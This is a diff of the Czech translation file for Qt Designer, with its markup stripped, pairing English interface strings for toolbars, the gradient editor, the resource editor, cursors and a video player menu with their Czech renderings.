             Editor činností
         
         
    -        
             Object Inspector
             Ukazatel předmětů
         
         
    -        
             Resource Browser
             Prohlížeč zdrojů
         
         
    -        
             Signal/Slot Editor
             Editor signálů a zdířek
         
         
    -        
             Widget Box
             Krabice s prvky
         
    @@ -2176,97 +1817,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QDesignerWorkbench
         
    -        
             &File
             &Soubor
         
         
    -        
             F&orm
             F&ormulář
         
         
    -        
             Preview in
             Náhled v
         
         
    -        
             &Window
             &Okno
         
         
    -        
             &Help
             &Nápověda
         
         
    -        
             Edit
             Úpravy
         
         
    -        
             Toolbars
             Nástrojové pruhy
         
         
    -        
             Save Forms?
             Uložit formuláře?
         
         
    -        
             &View
             &Pohled
         
         
    -        
             &Settings
             &Nastavení
         
         
    -        
             Widget Box
             Krabice s prvky
         
         
    -        
             If you do not review your documents, all your changes will be lost.
             Změny budou ztraceny, pokud se na formuláře ještě jednou nepodíváte.
         
         
    -        
             Discard Changes
             Zahodit změny
         
         
    -        
             Review Changes
             Podívat se na změny
         
         
    -        
             Backup Information
             Informace o ukládání na pozadí
         
         
    -        
             The last session of Designer was not terminated correctly. Backup files were left behind. Do you want to load them?
             Designer zřejmě nebyl řádně ukončen; existují soubory z ukládání na pozadí. Chcete je nahrát?
         
         
    -        
             The file <b>%1</b> could not be opened.
             Soubor <b>%1</b> se nepodařilo otevřít.
         
         
    -        
             The file <b>%1</b> is not a valid Designer UI file.
             Soubor <b>%1</b> není platným souborem rozhraní programu Designer.
         
         
    -        
             There are %n forms with unsaved changes. Do you want to review these changes before quitting?
             
                 Formulář byl změněn, ale změny nebyl uloženy. Chcete se na tyto změny podívat předtím, než program ukončíte?
    @@ -2278,92 +1900,86 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QFormBuilder
         
    -        
             An empty class name was passed on to %1 (object name: '%2').
    -        Empty class name passed to widget factory method
    +        Empty class name passed to widget factory method
    +----------
    +Empty class name passed to widget factory method
    +----------
    +Empty class name passed to widget factory method
             Postupu %1 byl předán prázdný název třídy (název předmětu '%2').
         
         
    -        
             QFormBuilder was unable to create a custom widget of the class '%1'; defaulting to base class '%2'.
             QFormBuilderu se nepodařilo vytvořit uživatelsky stanovený prvek třídy '%1'; byl vytvořen prvek základní třídy '%2'.
         
         
    -        
             QFormBuilder was unable to create a widget of the class '%1'.
             QFormBuilderu se nepodařilo vytvořit předmět třídy '%1'.
         
         
    -        
             The layout type `%1' is not supported.
             Rozvržení typu `%1' nejsou podporována.
         
         
    -        
             The set-type property %1 could not be read.
             Vlastnost %1 se nepodařilo přečíst (typ: množství).
         
         
    -        
             The enumeration-type property %1 could not be read.
             Vlastnost %1 se nepodařilo přečíst (typ: výčet).
         
         
    -        
             Reading properties of the type %1 is not supported yet.
             Čtení vlastností typu %1 není podporováno.
         
         
    -        
             The property %1 could not be written. The type %2 is not supported yet.
             Vlastnost %1 se nepodařilo zapsat, protože typ %2 není podporován.
         
    +    
    +        The enumeration-value '%1' is invalid. The default value '%2' will be used instead.
    +        Výčtová hodnota '%1' je neplatná. Místo ní se použije výchozí hodnota '%2'.
    +    
    +    
    +        The flag-value '%1' is invalid. Zero will be used instead.
    +        Příznaková hodnota '%1' je neplatná. Místo ní se použije nulová hodnota.
    +    
     
     
         QStackedWidgetEventFilter
         
    -        
             Previous Page
             Předchozí strana
         
         
    -        
             Next Page
             Další strana
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Before Current Page
             Před nynější stranu
         
         
    -        
             After Current Page
             Po nynější straně
         
         
    -        
             Change Page Order...
             Změnit pořadí stran...
         
         
    -        
             Change Page Order
             Změnit pořadí stran
         
         
    -        
             Page %1 of %2
             Strana %1 z %2
         
         
    -        
    -        
             Insert Page
             Vložit stranu
         
    @@ -2371,12 +1987,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QStackedWidgetPreviewEventFilter
         
    -        
             Go to previous page of %1 '%2' (%3/%4).
             Jít na předchozí stranu %1 '%2' (%3/%4).
         
         
    -        
             Go to next page of %1 '%2' (%3/%4).
             Jít na další stranu %1 '%2' (%3/%4).
         
    @@ -2384,28 +1998,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QTabWidgetEventFilter
         
    -        
             Delete
             Smazat
         
         
    -        
             Before Current Page
             Před nynější stranu
         
         
    -        
             After Current Page
             Po nynější straně
         
         
    -        
             Page %1 of %2
             Strana %1 z %2
         
         
    -        
    -        
             Insert Page
             Vložit stranu
         
    @@ -2413,37 +2021,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QToolBoxHelper
         
    -        
             Delete Page
             Smazat stranu
         
         
    -        
             Before Current Page
             Před nynější stranu
         
         
    -        
             After Current Page
             Po nynější straně
         
         
    -        
             Change Page Order...
             Změnit pořadí stran...
         
         
    -        
             Change Page Order
             Změnit pořadí stran
         
         
    -        
             Page %1 of %2
             Strana %1 z %2
         
         
    -        
             Insert Page
             Vložit stranu
         
    @@ -2451,15 +2052,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtBoolEdit
         
    -        
    -        
    -        
             True
             Pravdivý
         
         
    -        
    -        
             False
             Nepravdivý
         
    @@ -2467,12 +2063,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtBoolPropertyManager
         
    -        
             True
             Pravdivý
         
         
    -        
             False
             Nepravdivý
         
    @@ -2480,7 +2074,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtCharEdit
         
    -        
             Clear Char
             Smazat znak
         
    @@ -2488,7 +2081,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtColorEditWidget
         
    -        
             ...
             ...
         
    @@ -2496,22 +2088,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtColorPropertyManager
         
    -        
             Red
             Červená
         
         
    -        
             Green
             Zelená
         
         
    -        
             Blue
             Modrá
         
         
    -        
             Alpha
             Alfa
         
    @@ -2519,97 +2107,78 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtCursorDatabase
         
    -        
             Arrow
             Šipka
         
         
    -        
             Up Arrow
             Šipka nahoru
         
         
    -        
             Cross
             Křížící se čáry
         
         
    -        
             Wait
             Přesýpací hodiny
         
         
    -        
             IBeam
             I trámec
         
         
    -        
             Size Vertical
             Zvětšit svisle
         
         
    -        
             Size Horizontal
             Zvětšit vodorovně
         
         
    -        
             Size Backslash
             Zvětšit zpětné/obrácené lomítko
         
         
    -        
             Size Slash
             Zvětšit lomítko
         
         
    -        
             Size All
             Zvětšit vše
         
         
    -        
             Blank
             Prázdný
         
         
    -        
             Split Vertical
             Rozdělit svisle
         
         
    -        
             Split Horizontal
             Rozdělit vodorovně
         
         
    -        
             Pointing Hand
             Ukazující ruka
         
         
    -        
             Forbidden
             Zakázáno
         
         
    -        
             Open Hand
             Otevřená ruka
         
         
    -        
             Closed Hand
             Zavřená ruka
         
         
    -        
             What's This
             A co je toto
         
         
    -        
             Busy
             Zaneprázdněn
         
    @@ -2617,12 +2186,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtFontEditWidget
         
    -        
             ...
             ...
         
         
    -        
             Select Font
             Vybrat písmo
         
    @@ -2630,37 +2197,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtFontPropertyManager
         
    -        
             Family
             Písmová rodina
         
         
    -        
             Point Size
             Bodová velikost
         
         
    -        
             Bold
             Tučné
         
         
    -        
             Italic
             Kurzíva
         
         
    -        
             Underline
             Podtržení
         
         
    -        
             Strikeout
             Přeškrtnuté
         
         
    -        
             Kerning
             Podřezávání
         
    @@ -2668,7 +2228,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtGradientDialog
         
    -        
             Edit Gradient
             Upravit přechod
         
    @@ -2676,304 +2235,242 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtGradientEditor
         
    -        
             Start X
             Začáteční hodnota x
         
         
    -        
             Start Y
             Začáteční hodnota y
         
         
    -        
             Final X
             Koncová hodnota x
         
         
    -        
             Final Y
             Koncová hodnota y
         
         
    -        
    -        
             Central X
             Střed x
         
         
    -        
    -        
             Central Y
             Střed y
         
         
    -        
             Focal X
             Ohnisko x
         
         
    -        
             Focal Y
             Ohnisko y
         
         
    -        
             Radius
             Poloměr
         
         
    -        
             Angle
             Úhel
         
         
    -        
             Linear
             Přímočarý
         
         
    -        
             Radial
             Paprskovitý
         
         
    -        
             Conical
             Kuželovitý
         
         
    -        
             Pad
             Doplnit
         
         
    -        
             Repeat
             Opakovat
         
         
    -        
             Reflect
             Zrcadlit
         
         
    -        
             Form
             Formulář
         
         
    -        
             Gradient Editor
             Úpravy přechodů
         
         
    -        
             1
             1
         
         
    -        
             2
             2
         
         
    -        
             3
             3
         
         
    -        
             4
             4
         
         
    -        
             5
             5
         
         
    -        
             Gradient Stops Editor
             Editor bodů zastavení přechodu
         
         
    -        
             This area allows you to edit gradient stops. Double click on the existing stop handle to duplicate it. Double click outside of the existing stop handles to create a new stop. Drag & drop the handle to reposition it. Use right mouse button to popup context menu with extra actions.
             Tato oblast slouží pro úpravy bodů zastavení přechodu. Dvakrát klepněte na orientační bod kvůli jeho zdvojení. Dvakrát klepněte na plochu kvůli vytvoření nového orientačního bodu. Použijte tažení & upuštění pro posunutí bodu. Pravým tlačítkem myši se vyvolává nabídka s dalšími souvisejícími volbami.
         
         
    -        
             Zoom
             Zvětšení
         
         
    -        
             Position
             Poloha
         
         
    -        
             Hue
             Barevný odstín
         
         
    -        
             H
             H
         
         
    -        
             Saturation
             Sytost
         
         
    -        
             S
             S
         
         
    -        
             Sat
             Sytost
         
         
    -        
             Value
             Hodnota
         
         
    -        
             V
             V
         
         
    -        
             Val
             Hodnota
         
         
    -        
             Alpha
             Alfa
         
         
    -        
             A
             A
         
         
    -        
             Type
             Typ
         
         
    -        
             Spread
             Rozšiřování
         
         
    -        
             Color
             Barva
         
         
    -        
             Current stop's color
             Barva nynějšího zastavení
         
         
    -        
             HSV
             HSV
         
         
    -        
             RGB
             RGB
         
         
    -        
             Current stop's position
             Poloha nynějšího zastavení
         
         
    -        
             %
             %
         
         
    -        
             Zoom In
             Přiblížit
         
         
    -        
             Zoom Out
             Oddálit
         
         
    -        
             Toggle details extension
             Zařadit další volby
         
         
    -        
             >
             >
         
         
    -        
             Linear Type
             Přímočarý typ
         
         
    -        
             ...
             ...
         
         
    -        
             Radial Type
             Paprskovitý typ
         
         
    -        
             Conical Type
             Kuželovitý typ
         
         
    -        
             Pad Spread
             Doplnit rozšiřování
         
         
    -        
             Repeat Spread
             Opakovat rozšiřování
         
         
    -        
             Reflect Spread
             Zrcadlit rozšiřování
         
         
    -        
             This area shows a preview of the gradient being edited. It also allows you to edit parameters specific to the gradient's type such as start and final point, radius, etc. by drag & drop.
             tato oblast ukazuje náhled právě upravovaného přechodu. Zde můžete upravovat proměnné příznačné pro přechod, jako začáteční a koncový bod, poloměr etd. pomocí tažení a pouštění.
         
         
    -        
             Show HSV specification
             Ukázat přesné vymezení HSV
         
         
    -        
             Show RGB specification
             Ukázat přesné vymezení RGB
         
         
    -        
             Reset Zoom
             Nastavit znovu zvětšení
         
    @@ -2981,37 +2478,30 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtGradientStopsWidget
         
    -        
             New Stop
             Nové zastavení
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Flip All
             Obrátit vše
         
         
    -        
             Select All
             Vybrat vše
         
         
    -        
             Zoom In
             Zvětšit
         
         
    -        
             Zoom Out
             Zmenšit
         
         
    -        
             Reset Zoom
             Nastavit znovu zvětšení
         
    @@ -3019,46 +2509,34 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtGradientView
         
    -        
             Grad
             Přechod
         
         
    -        
             Remove Gradient
             Odstranit přechod
         
         
    -        
             Are you sure you want to remove the selected gradient?
             Opravdu chcete odstranit vybraný přechod?
         
         
    -        
    -        
             New...
             Nový...
         
         
    -        
    -        
             Edit...
             Upravit...
         
         
    -        
    -        
             Rename
             Přejmenovat
         
         
    -        
    -        
             Remove
             Odstranit
         
         
    -        
             Gradient View
             Pohled na přechod
         
    @@ -3066,7 +2544,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtGradientViewDialog
         
    -        
             Select Gradient
             Vybrat přechod
         
    @@ -3074,7 +2551,6 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtKeySequenceEdit
         
    -        
             Clear Shortcut
             Smazat klávesové zkratky
         
    @@ -3082,17 +2558,18 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtLocalePropertyManager
         
    -        
    +        <Invalid>
    +        <Neplatný>
    +    
    +    
             %1, %2
             %1, %2
         
         
    -        
             Language
             Jazyk
         
         
    -        
             Country
             Země
         
    @@ -3100,17 +2577,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtPointFPropertyManager
         
    -        
             (%1, %2)
             (%1, %2)
         
         
    -        
             X
             X
         
         
    -        
             Y
             Y
         
    @@ -3118,17 +2592,14 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtPointPropertyManager
         
    -        
             (%1, %2)
             (%1, %2)
         
         
    -        
             X
             X
         
         
    -        
             Y
             Y
         
    @@ -3136,12 +2607,10 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtPropertyBrowserUtils
         
    -        
             [%1, %2, %3] (%4)
             [%1, %2, %3] (%4)
         
         
    -        
             [%1, %2]
             [%1, %2]
         
    @@ -3149,27 +2618,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtRectFPropertyManager
         
    -        
             [(%1, %2), %3 x %4]
             [(%1, %2), %3 x %4]
         
         
    -        
             X
             X
         
         
    -        
             Y
             Y
         
         
    -        
             Width
             Šířka
         
         
    -        
             Height
             Výška
         
    @@ -3177,27 +2641,22 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtRectPropertyManager
         
    -        
             [(%1, %2), %3 x %4]
             [(%1, %2), %3 x %4]
         
         
    -        
             X
             X
         
         
    -        
             Y
             Y
         
         
    -        
             Width
             Šířka
         
         
    -        
             Height
             Výška
         
    @@ -3205,33 +2664,26 @@ Kontejnerové stránky by měly být zadány výhradně v XML vráceném postupu
     
         QtResourceEditorDialog
         
    -        
             Edit Resources
             Upravit zdroje
         
         
    -        
             New...
             Nový...
         
         
    -        
    -        
             New Resource File
             Nový zdrojový soubor
         
         
    -        
             <p><b>Warning:</b> The file</p><p>%1</p><p>is outside of the current resource file's parent directory.</p>
             <p><b>Upozornění:</b><p>Zvolený soubor: </p><p>%1</p><p>se nachází mimo adresář se nynějším zdrojovým souborem:</p>
         
         
    -        
             <p>To resolve the issue, press:</p><table><tr><th align="left">Copy</th><td>to copy the file to the resource file's parent directory.</td></tr><tr><th align="left">Copy As...</th><td>to copy the file into a subdirectory of the resource file's parent directory.</td></tr><tr><th align="left">Keep</th><td>to use its current location.</td></tr></table>
             <p>Zvolte, prosím:</p><table><tr><th align="left">Kopírovat</th><td>pro zkopírování souboru do adresáře se zdrojovým souborem.</td></tr><tr><th align="left">Kopírovat jako...</th><td>pro zkopírování souboru do podadresáře se zdrojovým souborem.</td></tr><tr><th align="left">Zachovat</th><td>, aby se soubor používal ve svém nynějším adresáři.</td></tr></table>
         
         
    -        
             Could not copy
     %1
     to
    @@ -3242,248 +2694,192 @@ zu:
     %2
         
         
    -        
             A parse error occurred at line %1, column %2 of %3:
     %4
             V souboru %3 se na řádku %1, v sloupci %2 vyskytla chyba:
      %4
         
         
    -        
             Open...
             Otevřít...
         
         
    -        
    -        
             Remove
             Odstranit
         
         
    -        
    -        
             Move Up
             Posunout nahoru
         
         
    -        
    -        
             Move Down
             Posunout dolů
         
         
    -        
    -        
             Add Prefix
             Přidat předponu
         
         
    -        
             Add Files...
             Přidat soubory...
         
         
    -        
             Change Prefix
             Změnit předponu
         
         
    -        
             Change Language
             Změnit jazyk
         
         
    -        
             Change Alias
             Změnit přezdívku
         
         
    -        
             Clone Prefix...
             Zdvojit předponu...
         
         
    -        
             Prefix / Path
             Předpona/Cesta
         
         
    -        
             Language / Alias
             Jazyk/Přezdívka
         
         
    -        
             <html><p><b>Warning:</b> There have been problems while reloading the resources:</p><pre>%1</pre></html>
             <html><p><b>Varování:</b> Při opětovném nahrání souboru se vyskytly chyby:</p><pre>%1</pre></html>
         
         
    -        
             Resource Warning
             Zdroje - Varování
         
         
    -        
             Dialog
             Dialog
         
         
    -        
             New File
             Nový soubor
         
         
    -        
             N
             N
         
         
    -        
             Remove File
             Odstranit soubor
         
         
    -        
             R
             L
         
         
    -        
             I
             I
         
         
    -        
             New Resource
             Nový zdroj
         
         
    -        
             A
             A
         
         
    -        
             Remove Resource or File
             Odstranit zdroj nebo soubor
         
         
    -        
             %1 already exists.
     Do you want to replace it?
             Soubor %1 již existuje.
     Chcete jej nahradit?
         
         
    -        
             The file does not appear to be a resource file; element '%1' was found where '%2' was expected.
             Soubor zřejmě není zdrojovým souborem; Na místě, kde byl očekáván prvek '%2' byl nalezen prvek '%1'.
         
         
    -        
             %1 [read-only]
             %1 [pouze pro čtení]
         
         
    -        
    -        
             %1 [missing]
             %1 [chybí]
         
         
    -        
             <no prefix>
             <žádná předpona>
         
         
    -        
    -        
             Resource files (*.qrc)
             Zdrojové soubory (*.qrc)
         
         
    -        
             Import Resource File
             Zavést zdrojový soubor
         
         
    -        
             newPrefix
             nováPředpona
         
         
    -        
             Add Files
             Přidat soubory
         
         
    -        
             Incorrect Path
             Nesprávný údaj o cestě
         
         
    -        
    -        
    -        
    -        
             Copy
             Kopírovat
         
         
    -        
             Copy As...
             Kopírovat jako...
         
         
    -        
             Keep
             Zachovat
         
         
    -        
             Skip
             Přeskočit
         
         
    -        
             Clone Prefix
             Zdvojit předponu
         
         
    -        
             Enter the suffix which you want to add to the names of the cloned files.
     This could for example be a language extension like "_de".
             Zadejte, prosím, příponu, kterou chcete přidat k názvům zdvojených souborů.
     Může to být například jazykové rozšíření "_cs".
         
         
    -        
    -        
             Copy As
             Kopírovat jako
         
         
    -        
             <p>The selected file:</p><p>%1</p><p>is outside of the current resource file's directory:</p><p>%2</p><p>Please select another path within this directory.<p>
             <p>Vybraný soubor: </p><p>%1</p><p>se nachází mimo adresář se zdrojovým souborem:</p><p>%2</p><p>Zvolte, prosím, jinou cestu, která je obsažena v tomto adresáři.</p>
         
         
    -        
             Could not overwrite %1.
             %1 se nepodařilo přepsat.
         
         
    -        
             Save Resource File
             Uložit zdrojový soubor
         
         
    -        
             Could not write %1: %2
             Soubor %1 se nepodařilo zapsat: %2
         
         
    -        
             Open Resource File
             Otevřít zdrojový soubor
         
    @@ -3491,24 +2887,20 @@ Může to být například jazykové rozšíření "_cs".
         QtResourceView
         
    -        
             Size: %1 x %2
     %3
             Velikost: %1 x %2
     %3
         
         
    -        
             Edit Resources...
             Upravit zdroje...
         
         
    -        
             Reload
             Nahrát znovu
         
         
    -        
             Copy Path
             Kopírovat cestu
         
    @@ -3516,7 +2908,6 @@ Může to být například jazykové rozšíření "_cs".
         QtResourceViewDialog
         
    -        
             Select Resource
             Vybrat zdroj
         
    @@ -3524,17 +2915,14 @@ Může to být například jazykové rozšíření "_cs".
         QtSizeFPropertyManager
         
    -        
             %1 x %2
             %1 x %2
         
         
    -        
             Width
             Šířka
         
         
    -        
             Height
             Výška
         
    @@ -3542,33 +2930,26 @@ Může to být například jazykové rozšíření "_cs".
         QtSizePolicyPropertyManager
         
    -        
    -        
             <Invalid>
             <Neplatný>
         
         
    -        
             [%1, %2, %3, %4]
             [%1, %2, %3, %4]
         
         
    -        
             Horizontal Policy
             Vodorovné nastavení
         
         
    -        
             Vertical Policy
             Svislé nastavení
         
         
    -        
             Horizontal Stretch
             Vodorovné protažení
         
         
    -        
             Vertical Stretch
             Svislé protažení
         
    @@ -3576,17 +2957,14 @@ Může to být například jazykové rozšíření "_cs".
         QtSizePropertyManager
         
    -        
             %1 x %2
             %1 x %2
         
         
    -        
             Width
             Šířka
         
         
    -        
             Height
             Výška
         
    @@ -3594,107 +2972,86 @@ Může to být například jazykové rozšíření "_cs".
         QtToolBarDialog
         
    -        
             < S E P A R A T O R >
             < O D D Ě L O V A Č >
         
         
    -        
             Customize Toolbars
             Přizpůsobit nástrojové pruhy
         
         
    -        
             1
             1
         
         
    -        
             Actions
             Činnosti
         
         
    -        
             Toolbars
             Nástrojové pruhy
         
         
    -        
             New
             Nový
         
         
    -        
             Remove
             Odstranit
         
         
    -        
             Rename
             Přejmenovat
         
         
    -        
             Up
             Nahoru
         
         
    -        
             <-
             <-
         
         
    -        
             ->
             ->
         
         
    -        
             Down
             Dolů
         
         
    -        
             Current Toolbar Actions
             Činnosti současného nástrojového pruhu
         
         
    -        
             Custom Toolbar
             Uživatelsky stanovené nástrojové pruhy
         
         
    -        
             Add new toolbar
             Přidat nový nástrojový pruh
         
         
    -        
             Remove selected toolbar
             Odstranit vybraný nástrojový pruh
         
         
    -        
             Rename toolbar
             Přejmenovat nástrojový pruh
         
         
    -        
             Move action up
             Posunout činnost nahoru
         
         
    -        
             Remove action from toolbar
             Odstranit činnost z nástrojového pruhu
         
         
    -        
             Add action to toolbar
             Přidat činnost do nástrojového pruhu
         
         
    -        
             Move action down
             Posunout činnost dolů
         
    @@ -3702,12 +3059,10 @@ Může to být například jazykové rozšíření "_cs".
         QtTreePropertyBrowser
         
    -        
             Property
             Vlastnost
         
         
    -        
             Value
             Hodnota
         
    @@ -3715,64 +3070,52 @@ Může to být například jazykové rozšíření "_cs".
         SaveFormAsTemplate
         
    -        
             Add path...
             Přidat cestu...
         
         
    -        
             Template Exists
             Předloha již existuje
         
         
    -        
             A template with the name %1 already exists.
     Do you want overwrite the template?
             Již existuje předloha s názvem %1.
     Chcete tuto předlohu přepsat?
         
         
    -        
             Overwrite Template
             Přepsat předlohu
         
         
    -        
             Open Error
             Chyba při otevírání
         
         
    -        
             There was an error opening template %1 for writing. Reason: %2
             Předlohu %1 se nepodařilo otevřít pro zápis. Důvod: %2
         
         
    -        
             Write Error
             Chyba při zápisu
         
         
    -        
             There was an error writing the template %1 to disk. Reason: %2
             Předlohu %1 se nepodařilo zapsat do souboru na disku. Důvod: %2
         
         
    -        
             Pick a directory to save templates in
             Vyberte adresář pro ukládání předloh
         
         
    -        
             Save Form As Template
             Uložit formulář jako předlohu
         
         
    -        
             &Category:
             &Skupina:
         
         
    -        
             &Name:
             &Název:
         
    @@ -3780,7 +3123,6 @@ Chcete tuto předlohu přepsat?
     
         ScriptErrorDialog
         
    -        
             An error occurred while running the scripts for "%1":
     
             Při provádění skriptu "%1" se vyskytly chyby:
    @@ -3790,22 +3132,18 @@ Chcete tuto předlohu přepsat?
     
         SelectSignalDialog
         
    -        
             Go to slot
             Jít na zdířku
         
         
    -        
             Select signal
             Vybrat signál
         
         
    -        
             signal
             Signál
         
         
    -        
             class
             Třída
         
    @@ -3813,7 +3151,6 @@ Chcete tuto předlohu přepsat?
     
         SignalSlotConnection
         
    -        
             SENDER(%1), SIGNAL(%2), RECEIVER(%3), SLOT(%4)
             VYSÍLAČ(%1), SIGNÁL(%2), PŘIJÍMAČ(%3), ZDÍŘKA(%4)
         
    @@ -3821,32 +3158,26 @@ Chcete tuto předlohu přepsat?
     
         SignalSlotDialogClass
         
    -        
             Signals and slots
             Signály a zdířky
         
         
    -        
             Slots
             Zdířky
         
         
    -        
             ...
             ...
         
         
    -        
             Signals
             Signály
         
         
    -        
             Add
             Přidat
         
         
    -        
             Delete
             Smazat
         
    @@ -3854,12 +3185,10 @@ Chcete tuto předlohu přepsat?
     
         Spacer
         
    -        
             Horizontal Spacer '%1', %2 x %3
             Vodorovný vymezovač '%1', %2 x %3
         
         
    -        
             Vertical Spacer '%1', %2 x %3
             Svislý vymezovač '%1', %2 x %3
         
    @@ -3867,7 +3196,6 @@ Chcete tuto předlohu přepsat?
     
         TemplateOptionsPage
         
    -        
             Template Paths
             Tab in preferences dialog
             Adresáře pro předlohy
    @@ -3876,32 +3204,42 @@ Chcete tuto předlohu přepsat?
     
         ToolBarManager
         
    -        
             Configure Toolbars...
             Nastavit nástrojové pruhy...
         
         
    -        
             Window
             Okno
         
         
    -        
             Help
             Nápověda
         
         
    -        
             Style
             Styl
         
         
    -        
             Dock views
             Kotvící okno
         
         
    -        
    +        File
    +        Soubor
    +    
    +    
    +        Edit
    +        Úpravy
    +    
    +    
    +        Tools
    +        Nástroje
    +    
    +    
    +        Form
    +        Formulář
    +    
    +    
             Toolbars
             Nástrojové pruhy
         
    @@ -3909,30 +3247,68 @@ Chcete tuto předlohu přepsat?
     
         VersionDialog
         
    -        
             <h3>%1</h3><br/><br/>Version %2
             <h3>%1</h3><br/><br/>Verze %2
         
         
    -        
             Qt Designer
             Qt Designer
         
         
    -        
             <br/>Qt Designer is a graphical user interface designer for Qt applications.<br/>
             <br/>Qt Designer je obrazový návrhář uživatelského rozhraní pro programy Qt.<br/>
         
         
    -        
    -        %1<br/>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
    +        %1<br/>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
             %1<br/>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
         
    +    
    +        %1<br/>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
    +        %1<br/>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
    +    
    +
    +
    +    VideoPlayerTaskMenu
    +    
    +        Available Mime Types
    +        Dostupné mime typy
    +    
    +    
    +        Display supported mime types...
    +        Zobrazit podporované mime typy...
    +    
    +    
    +        Load...
    +        Nahrát...
    +    
    +    
    +        Play
    +        Přehrát
    +    
    +    
    +        Pause
    +        Pozastavit
    +    
    +    
    +        Stop
    +        Zastavit
    +    
    +    
    +        Choose Video Player Media Source
    +        Vybrat zdroje se soubory pro přehrávač videa
    +    
    +    
    +        An error has occurred in '%1': %2
    +        V '%1': %2 se vyskytla chyba
    +    
    +    
    +        Video Player Error
    +        Chyba v přehrávači videa
    +    
     
     
         WidgetDataBase
         
    -        
             The file contains a custom widget '%1' whose base class (%2) differs from the current entry in the widget database (%3). The widget database is left unchanged.
             Soubor obsahuje uživatelsky stanovený prvek '%1', jehož základní třída (%2) se neshoduje se současným záznamem v databázi prvků (%3). databáze prvků se nemění.
         
    @@ -3940,87 +3316,70 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ActionEditor
         
    -        
             Actions
             Činnosti
         
         
    -        
             New...
             Nový...
         
         
    -        
             Delete
             Smazat
         
         
    -        
             New action
             Nová činnost
         
         
    -        
             Edit action
             Upravit činnost
         
         
    -        
             Edit...
             Upravit...
         
         
    -        
             Go to slot...
             Jít na zdířku...
         
         
    -        
             Copy
             Kopírovat
         
         
    -        
             Cut
             Vyjmout
         
         
    -        
             Paste
             Vložit
         
         
    -        
             Select all
             Vybrat vše
         
         
    -        
             Icon View
             Pohled s ikonami
         
         
    -        
             Detailed View
             Podrobný pohled
         
         
    -        
             Remove actions
             Odstranit činnosti
         
         
    -        
             Remove action '%1'
             Odstranit činnost '%1'
         
         
    -        
             Used In
             Používaný v
         
         
    -        
             Configure Action Editor
             Nastavit editor činností
         
    @@ -4028,32 +3387,26 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ActionModel
         
    -        
             Name
             Název
         
         
    -        
             Used
             Používaný
         
         
    -        
             Text
             Text
         
         
    -        
             Shortcut
             Klávesová zkratka
         
         
    -        
             Checkable
             Zaškrtnutelná
         
         
    -        
             ToolTip
             Rada k nástroji
         
    @@ -4061,27 +3414,22 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::BrushManagerProxy
         
    -        
             The element '%1' is missing the required attribute '%2'.
             U prvku '%1' chybí vyžadovaná vlastnost '%2'..
         
         
    -        
             Empty brush name encountered.
             Chybějící název u vymezení štětce.
         
         
    -        
             An unexpected element '%1' was encountered.
             Byl zjištěn neplatný prvek '%1'.
         
         
    -        
             An error occurred when reading the brush definition file '%1' at line line %2, column %3: %4
             Chyba při čtení souboru s vymezením štětce '%1' na řádku %2, sloupec %3: %4
         
         
    -        
             An error occurred when reading the resource file '%1' at line %2, column %3: %4
             Chyba při čtení zdrojového souboru '%1' na řádku %2, sloupec %3: %4
         
    @@ -4089,17 +3437,14 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::BuddyEditor
         
    -        
             Add buddy
             Přidat kamaráda
         
         
    -        
             Remove buddies
             Odstranit kamarády
         
         
    -        
             Remove %n buddies
             
                 Odstranit jednoho kamaráda
    @@ -4108,7 +3453,6 @@ Chcete tuto předlohu přepsat?
             
         
         
    -        
             Add %n buddies
             
                 Přidat jednoho kamaráda
    @@ -4117,7 +3461,6 @@ Chcete tuto předlohu přepsat?
             
         
         
    -        
             Set automatically
             Nastavit automaticky
         
    @@ -4125,7 +3468,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::BuddyEditorPlugin
         
    -        
             Edit Buddies
             Upravit kamarády
         
    @@ -4133,7 +3475,6 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::BuddyEditorTool
         
    -        
             Edit Buddies
             Upravit kamarády
         
    @@ -4141,12 +3482,10 @@ Chcete tuto předlohu přepsat?
     
         qdesigner_internal::ButtonGroupMenu
         
    -        
             Select members
             Vybrat členy
